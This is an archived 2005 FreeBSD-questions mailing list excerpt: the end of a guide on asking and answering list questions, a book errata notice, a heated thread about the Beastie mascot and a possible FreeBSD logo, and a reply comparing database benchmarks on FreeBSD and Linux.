whole thread at a time, so apart from irritating people, you also run a chance of having the message deleted unread. 4. Format your message so that it is legible, and PLEASE DON'T SHOUT!!!!!. We appreciate that a lot of people don't speak English as their first language, and we try to make allowances for that, but it's really painful to try to read a message written full of typos or without any line breaks. A lot of badly formatted messages come from bad mailers or badly configured mailers. The following mailers are known to send out badly formatted messages without you finding out about them: Eudora exmh Microsoft Exchange Microsoft Internet Mail Microsoft Outlook Netscape As you can see, the mailers in the Microsoft world are frequent offenders. If at all possible, use a UNIX mailer. If you must use a mailer under Microsoft environments, make sure it is set up correctly. Try not to use MIME: a lot of people use mailers which don't get on very well with MIME. For further information on this subject, check out http://www.lemis.com/email.html. 5. Make sure your time and time zone are set correctly. This may seem a little silly, since your message still gets there, but many of the people you are trying to reach get several hundred messages a day. They frequently sort the incoming messages by subject and by date, and if your message doesn't come before the first answer, they may assume they missed it and not bother to look. 6. Don't include unrelated questions in the same message. Firstly, a long message tends to scare people off, and secondly, it's more difficult to get all the people who can answer all the questions to read the message. 7. Specify as much information as possible. This is a difficult area, and we need to expand on what information you need to submit, but here's a start: If you get error messages, don't say ``I get error messages'', say (for example) ``I get the error message 'No route to host'''. If your system panics, don't say ``My system panicked'', say (for example) ``my system panicked with the message 'free vnode isn't'''. If you have difficulty installing FreeBSD, please tell us what hardware you have. In particular, it's important to know the IRQs and I/O addresses of the boards installed in your machine. If you have difficulty getting PPP to run, describe the configuration. Which version of PPP do you use? What kind of authentication do you have? Do you have a static or dynamic IP address? What kind of messages do you get in the log file? 8. If you don't get an answer immediately, or if you don't even see your own message appear on the list immediately, don't resend the message. Wait at least 24 hours. The FreeBSD mailer offloads messages to a number of subordinate mailers around the world, and sometimes it can take several hours for the mail to get through. And once it gets through, the one person who might know the answer will probably just have gone to bed in his part of the world. 9. If you do all this, and you still don't get an answer, there could be other reasons. For example, the problem is so complicated that nobody knows the answer, or the person who does know the answer was offline. If you don't get an answer after, say, a week, it might help to re-send the message. If you don't get an answer to your second message, though, you're probably not going to get one from this forum. Resending the same message again and again will only make you unpopular. To summarize, let's assume you know the answer to the following question (yes, it's the same one in each case :-). You choose which of these two questions you would be more prepared to answer: Message 1: Subject: (none) I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong. ---------------------------------------------------------------------- Message 2: Subject: Problems installing FreeBSD I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm having a lot of difficulty installing it. I have a 66 MHz 486 with 16 MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball disk and a Toshiba 3501XA CD-ROM drive. The installation works just fine, but when I try to reboot the system, I get the message "Missing Operating System". ---------------------------------------------------------------------- V: How to follow up to a question ================================= Often you will want to send in additional information to a question you have already sent. The best way to do this is to reply to your original message. This has three advantages: 1. You include the original message text, so people will know what you're talking about. Don't forget to trim unnecessary text out, though. 2. The text in the subject line stays the same (you did remember to put one in, didn't you?). Many mailers will sort messages by subject. This helps group messages together. 3. The message reference numbers in the header will refer to the previous message. Some mailers, such as mutt, can thread messages, showing the exact relationships between the messages. VI: How to answer a question ============================ Before you answer a question to FreeBSD-questions, consider: 1. A lot of the points on submitting questions also apply to answering questions. Read them. 2. Has somebody already answered the question? The easiest way to check this is to sort your incoming mail by subject: then (hopefully) you'll see the question followed by any answers, all together. If somebody has already answered it, it doesn't automatically mean that you shouldn't send another answer. But it makes sense to read all the other answers first. 3. Do you have something to contribute beyond what has already been said? In general, "Yeah, me too" answers don't help much, although there are exceptions, like when somebody is describing a problem he's having, and he doesn't know whether it's his fault or whether there's something wrong with the hardware or software. If you do send a "me too" answer, you should also include any further relevant information. 4. Are you sure you understand the question? Very frequently, the person who asks the question is confused or doesn't express himself very well. Even with the best understanding of the system, it's easy to send a reply which doesn't answer the question. This doesn't help: you'll leave the person who submitted the question more frustrated or confused than ever. If nobody else answers, and you're not too sure either, you can always ask for more information. 5. Are you sure your answer is correct? If not, wait a day or so. If nobody else comes up with a better answer, you can still reply and say, for example, "I don't know if this is correct, but since nobody else has replied, why don't you try replacing your ATAPI CD-ROM with a frog?". 6. Unless there's a good reason to do otherwise, reply to the sender and to FreeBSD-questions. Many people on the FreeBSD-questions are "lurkers": they learn by reading messages sent and replied to by others. If you take a message which is of general interest off the list, you're depriving these people of their information. Be careful with group replies; lots of people send messages with hundreds of CCs. If this is the case, be sure to trim the Cc: lines appropriately. 7. Include relevant text from the original message. Trim it to the minimum, but don't overdo it. It should still be possible for somebody who didn't read the original message to understand what you're talking about. 8. Use some technique to identify which text came from the original message, and which text you add. I personally find that prepending ``> '' to the original message works best. Leaving white space after the ``> '' and leave empty lines between your text and the original text both make the result more readable. 9. Put your response in the correct place (after the text to which it replies). It's very difficult to read a thread of responses where each reply comes before the text to which it replies. 10. Most mailers change the subject line on a reply by prepending a text such as ``Re: ''. If your mailer doesn't do it automatically, you should do it manually. 11. If the submitter didn't abide by format conventions (lines too long, inappropriate subject line), please fix it. In the case of an incorrect subject line (such as ``HELP!!??''), change the subject line to (say) ``Re: Difficulties with sync PPP (was: HELP!!??)''. That way other people trying to follow the thread will have less difficulty following it. In such cases, it's appropriate to say what you did and why you did it, but try not to be rude. If you find you can't answer without being rude, don't answer. If you just want to reply to a message because of its bad format, just reply to the submitter, not to the list. You can just send him this message in reply, if you like. $Id: Howto-ask-questions,v 1.5 2004/09/19 02:40:48 grog Exp $ _______________________________________________ Thanks to Josh Paetzel for updating this document to describe mailman. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:02:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 645) id 6DC0416A4D1; Fri, 11 Feb 2005 17:02:00 +0000 (GMT) To: FreeBSD-questions@FreeBSD.org Message-Id: <20050211170200.6DC0416A4D1@hub.freebsd.org> Date: Fri, 11 Feb 2005 17:02:00 +0000 (GMT) From: grog@FreeBSD.ORG (Greg Lehey) Subject: "The Complete FreeBSD": errata and addenda X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:02:00 -0000 The trouble with books is that you can't update them the way you can a web page or any other online documentation. The result is that most leading edge computer books are out of date almost before they are printed. Unfortunately, The Complete FreeBSD, published by O'Reilly, is no exception. Inevitably, a number of bugs and changes have surfaced. "The Complete FreeBSD" has been through a total of five editions, including its predecessor "Installing and Running FreeBSD". Two of these have been reprinted with corrections. I maintain a series of errata pages. Start at http://www.lemis.com/errata-4.html to find out how to get the errata information. Have you found a problem with the book, or maybe something confusing? Please let me know: I'm constantly updating it. Greg From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:05:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2235C16A4CE for ; Fri, 11 Feb 2005 17:05:57 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8264043D45 for ; Fri, 11 Feb 2005 17:05:56 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id D7E261C000BA for ; Fri, 11 Feb 2005 18:05:54 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id B28D91C00094 for ; Fri, 11 Feb 2005 18:05:54 +0100 (CET) X-ME-UUID: 20050211170554731.B28D91C00094@mwinf1104.wanadoo.fr Date: Fri, 11 Feb 2005 18:05:54 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <7710307462.20050211180554@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:05:57 -0000 Bart Silverstrim writes: > People want to change the logo from Beastie to something else because > Beastie isn't professional enough, so some committers decided to hold a > contest for a new logo? Beastie isn't a logo. There is no logo for FreeBSD at the moment. Creating one is probably a good idea. > Out of curiosity, is Beastie so terrible, a logo, that a business would > be stupid enough to base their server decisions based on it? Overall, no. But some business owners are stupid. A more likely problem is that the devil-worship aspect of Beastie might prevent religiously fanatic potential customers from considering the OS in the first place, thus making it impossible to get a foot in the door. Once someone knows something about the operating system, I doubt that Beastie makes any difference, even among highly religious people. > Would you care if a business were that dumb...would you actually > *want* them using it? They could be dumb in that way, but still smart in IT. There's certainly no shortage of people in that category. > Windows' logo isn't even a logo. It's a flag of a window pane falling > apart in the breeze. It meets the criteria for a logo. > Since when did FreeBSD, a project always driven by volunteers and not > by commercial matters, suddenly gain a marketing department that is > trying to steer FreeBSD into the business sector? Is FreeBSD starting > to have marketing dictate technology instead of technology dictate > marketing? Would you prefer that FreeBSD remain the best kept secret on the Web? It's a good operating system ... why not promote it? It's better than Linux. It would be nice to see a technically superior product actually win, for once. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:11:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A74D916A4CE for ; Fri, 11 Feb 2005 17:11:10 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5B92143D1D for ; Fri, 11 Feb 2005 17:11:10 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 8B73B1C000B3 for ; Fri, 11 Feb 2005 18:11:08 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 553F11C000A8 for ; Fri, 11 Feb 2005 18:11:08 +0100 (CET) X-ME-UUID: 20050211171108349.553F11C000A8@mwinf1104.wanadoo.fr Date: Fri, 11 Feb 2005 18:11:07 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1433532968.20050211181107@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050211142604.GA1404@keyslapper.net> References: <1023983922.20050211095209@wanadoo.fr> <20050211142604.GA1404@keyslapper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:11:10 -0000 Louis LeBlanc writes: > They why would they care *what* the logo is? They wouldn't; but the logo has an effect on the people who write the checks, and it serves a useful purpose as a unifying identifier. The people who write the checks don't care about "skins," though, since they'll never actually use the OS. > Those of us that use FreeBSD every day on our desktops for 99.999% of > everything we do on a computer of any kind would be more likely to > have an opinion. Some of us are so busy using FreeBSD for productive work that we don't have time to play with "skins." In the server configurations for which FreeBSD is best suited, it really doesn't need any kind of GUI at all, and is more efficient without one. > Which should also be obvious by the length of this and at least one > other thread on the subject here on questions alone. I haven't even > checked on advocacy. Most of the people here are behaving like teenage boys. Which means they are _not_ behaving anything like IT professionals or business decision makers. > Regardless, I never had a problem with Beastie. I like him. He is > the only mascot/logo/whatever associated with an OS (other than the > window) that is actually relevant. It's cute, but it has never had any effect on my attitude towards FreeBSD. The only thing that influences me is the software (and, to a lesser extent, the attitudes of the people who produce it). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:15:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C66EE16A4CE for ; Fri, 11 Feb 2005 17:15:50 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 771EF43D39 for ; Fri, 11 Feb 2005 17:15:50 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id D355A1C00041 for ; Fri, 11 Feb 2005 18:15:49 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id AD0781C000AD for ; Fri, 11 Feb 2005 18:15:49 +0100 (CET) X-ME-UUID: 20050211171549708.AD0781C000AD@mwinf1104.wanadoo.fr Date: Fri, 11 Feb 2005 18:15:49 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <726350235.20050211181549@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <86d5v7npya.fsf@xps.des.no> References: <420A6465.30402@sbcglobal.net> <20050209202922.GA18393@fw.farid-hajji.net> <86d5v7npya.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:15:50 -0000 Dag-Erling Smørgrav writes: > Tux is a mascot, not a logo. These are Linux logos: > > http://images.slashdot.org/topics/topiccaldera.gif > http://images.slashdot.org/topics/topicdebian.gif > http://images.slashdot.org/topics/topicmandrake.gif > http://images.slashdot.org/topics/topicredhat.gif > http://images.slashdot.org/topics/topicsuse.gif > http://images.slashdot.org/topics/topicturbolinux.gif I like Red Hat the best, and SuSE is the worst, IMO. > The image that is sometimes used as an all-round Linux logo is not > "just Tux", but rather a particular representation of Tux in > combination with a logotype and an orange splash. The author of that > logo is clearly aware of the distinction between a logo and a mascot: > > http://www-mddsp.enel.ucalgary.ca/People/adilger/logo/ These are too complex to be used as logos. > Here's a page (a NetBSD logo contest entry) which addresses many of > these concerns, and coincidentally underlines my point about the > daemon not being exclusive to FreeBSD: > > http://homepage.mac.com/codesamurai/netbsd-logo-entry/ Technically very clean, but too cute. > (this is so good I'm surprised NetBSD didn't adopt it, and I'd love to > see it submitted to the FreeBSD logo contest) Eeuh, no. Too cute. It's important to avoid anything that looks like a cartoon. The logo displayed on the NetBSD site is a zillion times better. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:18:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 76C0016A4CE for ; Fri, 11 Feb 2005 17:18:00 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 317F443D46 for ; Fri, 11 Feb 2005 17:18:00 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 698751C00046 for ; Fri, 11 Feb 2005 18:17:59 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 4F2611C00042 for ; Fri, 11 Feb 2005 18:17:59 +0100 (CET) X-ME-UUID: 20050211171759324.4F2611C00042@mwinf1104.wanadoo.fr Date: Fri, 11 Feb 2005 18:17:58 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <657144440.20050211181758@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050211095106.4236da69.napper@docwho.org> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420CB8CD.3030601@scls.lib.wi.us> <20050211095106.4236da69.napper@docwho.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:18:00 -0000 Napper writes: > Its been my experience that the corporate suits get the > perception of "teenage hacker" from the cartoonish mascots. Agreed. And their perception is not always incorrect. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:29:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AC05E16A4CE for ; Fri, 11 Feb 2005 17:29:46 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id E48CA43D45 for ; Fri, 11 Feb 2005 17:29:45 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Czebb-000D9G-E4 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 12:29:23 -0500 Message-ID: <420CEB88.90701@tvog.net> Date: Fri, 11 Feb 2005 12:29:44 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <420A6465.30402@sbcglobal.net> <20050209202922.GA18393@fw.farid-hajji.net> <86d5v7npya.fsf@xps.des.no> <726350235.20050211181549@wanadoo.fr> In-Reply-To: <726350235.20050211181549@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:29:46 -0000 Anthony Atkielski wrote: >Dag-Erling Smørgrav writes: > > > >>Tux is a mascot, not a logo. These are Linux logos: >> >>http://images.slashdot.org/topics/topiccaldera.gif >>http://images.slashdot.org/topics/topicdebian.gif >>http://images.slashdot.org/topics/topicmandrake.gif >>http://images.slashdot.org/topics/topicredhat.gif >>http://images.slashdot.org/topics/topicsuse.gif >>http://images.slashdot.org/topics/topicturbolinux.gif >> >> > >I like Red Hat the best, and SuSE is the worst, IMO. > > > Are we forgetting about the printing aspect of things? The redhat logo has some nice gradients in it. >>The image that is sometimes used as an all-round Linux logo is not >>"just Tux", but rather a particular representation of Tux in >>combination with a logotype and an orange splash. The author of that >>logo is clearly aware of the distinction between a logo and a mascot: >> >>http://www-mddsp.enel.ucalgary.ca/People/adilger/logo/ >> >> > >These are too complex to be used as logos. > > And they just plain suck, IMHO. > > >>Here's a page (a NetBSD logo contest entry) which addresses many of >>these concerns, and coincidentally underlines my point about the >>daemon not being exclusive to FreeBSD: >> >>http://homepage.mac.com/codesamurai/netbsd-logo-entry/ >> >> > >Technically very clean, but too cute. > > Riddled with opinions! :) > > >>(this is so good I'm surprised NetBSD didn't adopt it, and I'd love to >>see it submitted to the FreeBSD logo contest) >> >> > >Eeuh, no. Too cute. It's important to avoid anything that looks like a >cartoon. > >The logo displayed on the NetBSD site is a zillion times better. > > More opinions!! jesus, does everyone have one of these? :) __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:30:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0221B16A4D1 for ; Fri, 11 Feb 2005 17:30:39 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D1C443D5F for ; Fri, 11 Feb 2005 17:30:17 +0000 (GMT) (envelope-from ean@hedron.org) Received: from www.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 87DD8C0D4; Fri, 11 Feb 2005 12:30:27 -0500 (EST) Received: from 216.220.59.169 (SquirrelMail authenticated user ean); by www.hedron.org with HTTP; Fri, 11 Feb 2005 12:30:27 -0500 (EST) Message-ID: <1060.216.220.59.169.1108143027.squirrel@216.220.59.169> In-Reply-To: <20050211164603.43213.qmail@web50310.mail.yahoo.com> References: <20050211164603.43213.qmail@web50310.mail.yahoo.com> Date: Fri, 11 Feb 2005 12:30:27 -0500 (EST) From: "Ean Kingston" To: "Jorge Mario G." User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal cc: freebsd-questions@freebsd.org Subject: Re: (mySQL) benchmarks strike back X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:30:40 -0000 > Hi there > > I just read > http://software.newsforge.com/software/04/12/27/1243207.shtml?tid=72&tid=29%20result > and as in any onther benchmark there is a lot stuff > that > can be arguable. I would like to know why is that > happening? > the problem is that "we" are pushing > FreeBSD/postgreSQL as a database solution, and I am > the guy to blame to, because I was the one who did > advocacy for FreeBSD, so I'm sure my boss is going to > ask me. And you told us to use FreeBSD instead of > Linux? > and I do not want to answer him "beastie is way more > cool" > > I'm doing my own research but some help from here > would be nice!!! Others will provide plenty of reasoning for you. Here are some points for consideration. That particulary example used a very small database that was cached entirely in memory. It has no resemblance to a production environment where databases are always going to be disk-io bound, not cpu-bound (as was the benchmark). Linux mounts its filesystems in async mode by default. This is extremely unsafe and will almost guarantee data loss on a buisy filesystem if the computer loses power unexpectedly. FreeBSD with softupdate will give much better performance than Linux with the filsystems mounted syncronously and you don't risk the data loss if the power fails. That was a performance test for MySQL. You are using Postgres. These are different databases. Postgres is a much better choice. It is a much more complete database server. For example, last time I checked, there was absolutely no integrity checking in MySQL whereas Postgres does have very good integrity checking. The performance metrics from that article were more a test of the current state of threading than any realistic database system. At the moment, the newest Linux kernels have much faster threading than FreeBSD. This will probably change (many times) in the future. The BSDs and Linux go through cycles of beating eachother in different areas depending on where the projects are focused at the time. I, and many others, have found that Linux tends to focus on getting the next new feature into their systems as quickly as possible. This, I find, makes for a much less stable system. I have found that the BSDs are much better at controlling this featurism. The project teams consider the value of something before they implement it in the production release. The result is, to me, that you get a much more reliable OS out of FreeBSD than you do out of Linux. Your choices of Postgres and FreeBSD indicate that you are looking for reliability in your database system. For that goal, I think you made the right choice. > Jorge Mario Mazo -- Ean Kingston E-Mail: ean_AT_hedron_DOT_org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:37:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C570C16A4CE for ; Fri, 11 Feb 2005 17:37:09 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8DFB243D2F for ; Fri, 11 Feb 2005 17:37:09 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [127.0.0.1] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id AF1B3345149 for ; Fri, 11 Feb 2005 12:37:07 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <657144440.20050211181758@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420CB8CD.3030601@scls.lib.wi.us> <20050211095106.4236da69.napper@docwho.org> <657144440.20050211181758@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <757f1d83ead2b487e58e6fd9bd0f2c52@chrononomicon.com> Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Fri, 11 Feb 2005 12:37:06 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:37:09 -0000 On Feb 11, 2005, at 12:17 PM, Anthony Atkielski wrote: > Napper writes: > >> Its been my experience that the corporate suits get the >> perception of "teenage hacker" from the cartoonish mascots. > > Agreed. And their perception is not always incorrect. Am I the only one that finds some amusement in the reference to "corporate suits" then being followed up with a comment about perception of a stereotype? :-) From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:38:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0437216A4CE for ; Fri, 11 Feb 2005 17:38:41 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id B085443D1D for ; Fri, 11 Feb 2005 17:38:40 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id E9FE11C000A4 for ; Fri, 11 Feb 2005 18:38:39 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id CE7011C0008D for ; Fri, 11 Feb 2005 18:38:39 +0100 (CET) X-ME-UUID: 20050211173839845.CE7011C0008D@mwinf1112.wanadoo.fr Date: Fri, 11 Feb 2005 18:38:39 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <304080528.20050211183839@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420CEB88.90701@tvog.net> References: <420A6465.30402@sbcglobal.net> <20050209202922.GA18393@fw.farid-hajji.net> <86d5v7npya.fsf@xps.des.no> <726350235.20050211181549@wanadoo.fr> <420CEB88.90701@tvog.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:38:41 -0000 Frank Laszlo writes: > Are we forgetting about the printing aspect of things? The redhat logo > has some nice gradients in it. The GIF I'm looking at seems to contain only red and black, except for the drop shadow, which isn't part of the logo. > And they just plain suck, IMHO. They look too puerile for my tastes. But that goes pretty well with Linux. > More opinions!! jesus, does everyone have one of these? I have lots of them. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:59:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 37B1616A4CE; Fri, 11 Feb 2005 17:59:25 +0000 (GMT) Received: from engine140.deployzone.net (engine140.deployzone.net [193.17.85.140]) by mx1.FreeBSD.org (Postfix) with SMTP id 4B6BD43D31; Fri, 11 Feb 2005 17:59:24 +0000 (GMT) (envelope-from chris@czv.com) Received: from adsl-212-90-218-5.cybernet.ch [212.90.218.5] by engine140.deployzone.net; Fri, 11 